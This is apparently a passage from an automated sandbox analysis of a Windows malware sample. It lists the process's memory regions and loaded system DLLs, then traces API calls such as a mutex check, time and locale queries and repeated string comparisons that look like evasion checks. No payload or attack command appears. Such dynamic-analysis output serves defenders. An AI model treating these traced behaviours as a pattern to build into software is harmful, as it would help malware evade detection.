"\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1154 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1155 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1156 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1157 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1158 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1159 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1160 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1161 start_va = 0x550000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1162 start_va = 0x746e0000 end_va = 0x746e7fff entry_point = 0x746e20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1163 start_va = 0x746f0000 end_va = 0x7474bfff entry_point = 0x7472f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1164 start_va = 0x74750000 end_va = 0x7478efff entry_point = 0x7477de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1165 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1166 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1167 start_va = 0x120000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1168 start_va = 0x760000 end_va = 0x85ffff entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 1169 start_va = 0x74800000 end_va = 0x74850fff entry_point = 0x7482988c region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 1170 start_va = 0x74860000 end_va = 0x74891fff entry_point = 0x748637f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 1171 start_va = 0x748a0000 end_va = 0x748b3fff entry_point = 0x748a1340 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\SysWOW64\\msacm32.dll" (normalized: "c:\\windows\\syswow64\\msacm32.dll") Region: id = 1172 start_va = 0x74dc0000 end_va = 0x74dcbfff entry_point = 0x74dc10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1173 start_va = 0x74dd0000 end_va = 0x74e2ffff entry_point = 0x74dea3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1174 start_va = 0x74e90000 end_va = 0x74ea8fff entry_point = 0x74e94975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1175 start_va = 0x750d0000 end_va = 0x75126fff entry_point = 0x750e9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1176 start_va = 0x75130000 end_va = 0x751bffff entry_point = 0x75146343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1177 start_va = 0x75250000 end_va = 0x75295fff entry_point = 0x75257478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1178 start_va = 0x752a0000 end_va = 0x7534bfff entry_point = 0x752aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1179 start_va = 0x75450000 end_va = 0x755abfff entry_point = 0x7549ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1180 start_va = 0x755b0000 end_va = 0x7564cfff entry_point = 0x755e3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1181 start_va = 0x756e0000 end_va = 0x7577ffff entry_point = 0x756f49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1182 start_va = 0x75780000 end_va = 0x75789fff entry_point = 0x757836a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1183 start_va = 0x75790000 end_va = 0x7588ffff entry_point = 0x757ab6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1184 start_va = 0x759f0000 end_va = 0x75afffff entry_point = 0x75a032d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1185 start_va = 0x76b60000 end_va = 0x76beefff entry_point = 0x76b63fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1186 start_va = 0x76d80000 end_va = 0x76e6ffff entry_point = 0x76d90569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1187 start_va = 0x76e70000 end_va = 0x76f69fff entry_point = 0x0 region_type = private name = "private_0x0000000076e70000" filename = "" Region: id = 1188 start_va = 0x76f70000 end_va = 0x7708efff entry_point = 0x0 region_type = private name = "private_0x0000000076f70000" filename = "" Region: id = 1189 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1190 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1191 start_va = 0x3c0000 end_va = 0x547fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 1192 start_va = 0x74e30000 end_va = 0x74e8ffff entry_point = 0x74e4158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1193 start_va = 0x75b00000 end_va = 0x75bcbfff entry_point = 0x75b0168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1194 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1195 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1196 start_va = 0x190000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1197 start_va = 0x5d0000 end_va = 0x750fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 1198 start_va = 0x860000 end_va = 0xb2efff entry_point = 0x860000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1199 start_va = 0xc00000 end_va = 0x1ffffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c00000" filename = "" Region: id = 1200 start_va = 0x74650000 end_va = 0x746cffff entry_point = 0x746637c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1201 start_va = 0x2000000 end_va = 0x21fffff entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 1202 start_va = 0x2000000 end_va = 0x20defff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002000000" filename = "" Region: id = 1203 start_va = 0x21c0000 end_va = 0x21fffff entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 1204 start_va = 0xe0000 end_va = 0xf1fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1205 start_va = 0x100000 end_va = 0x10dfff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1206 start_va = 0x2200000 end_va = 0x25d0fff entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 1207 start_va = 0x110000 end_va = 0x11dfff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1208 start_va = 0x130000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1209 start_va = 0x25e0000 end_va = 0x26dffff entry_point = 0x0 region_type = private name = "private_0x00000000025e0000" filename = "" Region: id = 1210 start_va = 0x75c50000 end_va = 0x76899fff entry_point = 0x75c50000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1211 start_va = 0x758d0000 end_va = 0x759ecfff entry_point = 0x758d0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1212 start_va = 0x750c0000 end_va = 0x750cbfff entry_point = 0x750c0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1213 start_va = 0x76c40000 end_va = 0x76d75fff entry_point = 0x76c40000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 1214 start_va = 0x75350000 end_va = 0x75444fff entry_point = 0x75350000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1215 start_va = 0x74ec0000 end_va = 0x750bafff entry_point = 0x74ec0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1216 start_va = 0x74bb0000 end_va = 0x74bc6fff entry_point = 0x74bb0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 1217 start_va = 0x74ba0000 end_va = 0x74baafff entry_point = 0x74ba0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1218 start_va = 0x74b90000 end_va = 0x74b9cfff entry_point = 0x74b90000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 1219 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 1220 start_va = 0x2160000 end_va = 0x219ffff entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 1221 start_va = 0x2200000 end_va = 0x22fffff entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 1222 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1223 start_va = 0x150000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1224 start_va = 0x1e0000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1225 start_va = 0x23e0000 end_va = 0x241ffff entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 1226 start_va = 0x2440000 end_va = 0x253ffff entry_point = 0x0 region_type = private name = "private_0x0000000002440000" filename = "" Region: id = 1227 start_va = 0x27d0000 end_va = 0x28cffff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 1228 start_va = 0x2a10000 end_va = 0x2b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 1229 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1230 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1231 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1232 start_va = 0x1a0000 end_va = 0x1a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1233 start_va = 0x74150000 end_va = 0x742edfff entry_point = 0x74150000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1234 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x1b0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1235 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1236 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 1237 start_va = 0x2370000 end_va = 0x23affff entry_point = 0x0 region_type = private name = "private_0x0000000002370000" filename = "" Region: id = 1238 start_va = 0x2ca0000 end_va = 0x2d9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ca0000" filename = "" Region: id = 1239 start_va = 0x768a0000 end_va = 0x768c6fff entry_point = 0x768a0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 1240 start_va = 0x76900000 end_va = 0x76a9cfff entry_point = 0x76900000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 1241 start_va = 0x76c20000 end_va = 0x76c31fff entry_point = 0x76c20000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 1242 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1243 start_va = 0x1d0000 end_va = 0x1d6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1244 start_va = 0x220000 end_va = 0x221fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1245 start_va = 0x2da0000 end_va = 0x3192fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002da0000" filename = "" Region: id = 1246 start_va = 0x75650000 end_va = 0x756d2fff entry_point = 0x75650000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1247 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1248 start_va = 0x74530000 end_va = 0x74624fff entry_point = 0x74530000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 1249 start_va = 0x74b60000 end_va = 0x74b80fff entry_point = 0x74b60000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 1250 start_va = 0x76b10000 end_va = 0x76b54fff entry_point = 0x76b10000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 1251 start_va = 0x280000 end_va = 0x283fff entry_point = 0x280000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 1252 start_va = 0x290000 end_va = 0x2b4fff entry_point = 0x290000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000013.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db") Region: id = 1253 start_va = 0xb30000 end_va = 0xb30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 1254 start_va = 0x28d0000 end_va = 0x29d0fff entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 1255 start_va = 0x28d0000 end_va = 0x29d0fff entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 1256 start_va = 0x28d0000 end_va = 0x29d0fff entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 1257 start_va = 0x280000 end_va = 0x283fff entry_point = 0x280000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1258 start_va = 0xb40000 end_va = 0xb6ffff entry_point = 0xb40000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000018.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db") Region: id = 1259 start_va = 0xb70000 end_va = 0xb73fff entry_point = 0xb70000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1260 start_va = 0x20e0000 end_va = 0x2145fff entry_point = 0x20e0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1261 start_va = 0x28d0000 end_va = 0x29d0fff entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 1262 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1263 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1264 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1265 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1266 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1267 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1268 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1269 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1270 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1271 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1272 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1273 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1274 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1275 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1276 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1277 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1278 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1279 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1280 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1281 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1282 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1283 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1284 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1285 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1286 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1287 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1288 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1289 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1290 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1291 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1292 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1293 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1294 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1295 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1296 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1297 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1298 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1299 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1300 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1301 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1302 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 1303 start_va = 0x74b40000 end_va = 0x74b55fff entry_point = 0x74b40000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Thread: id = 36 os_tid = 0xb48 [0031.479] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0031.479] GetLastError () returned 0x2 [0031.479] GetLocalTime (in: lpSystemTime=0x3bfc50 | out: lpSystemTime=0x3bfc50*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0xe, wMilliseconds=0x274)) [0031.479] VarI4FromUI1 (in: bIn=0x1, plOut=0x3bfc60 | out: plOut=0x3bfc60) returned 0x0 [0031.479] GetTickCount () returned 0x17647 [0031.479] wsprintfA (in: param_1=0x3bfcf8, param_2="%d" | out: param_1="18095815") returned 8 [0031.479] lstrlenA (lpString="18095815") returned 8 [0031.479] GetCurrentProcessId () returned 0xb44 [0031.479] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.479] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.482] GetUserDefaultLangID () returned 0x409 [0031.482] GetCurrentProcessId () returned 0xb44 [0031.482] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.482] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.482] GetUserDefaultLangID () returned 0x409 [0031.482] GetCurrentProcessId () returned 0xb44 [0031.482] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.482] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.482] GetUserDefaultLangID () returned 0x409 [0031.482] GetCurrentProcessId () returned 0xb44 [0031.482] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") returned 11 [0031.482] lstrcmpA (lpString1="7X6Qcl12884", lpString2="7JWg25") returned 1 [0031.482] GetUserDefaultLangID () returned 0x409 [0031.482] GetCurrentProcessId () returned 0xb44 [0031.482] wsprintfA (in: param_1=0x3bfcf8, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12884") 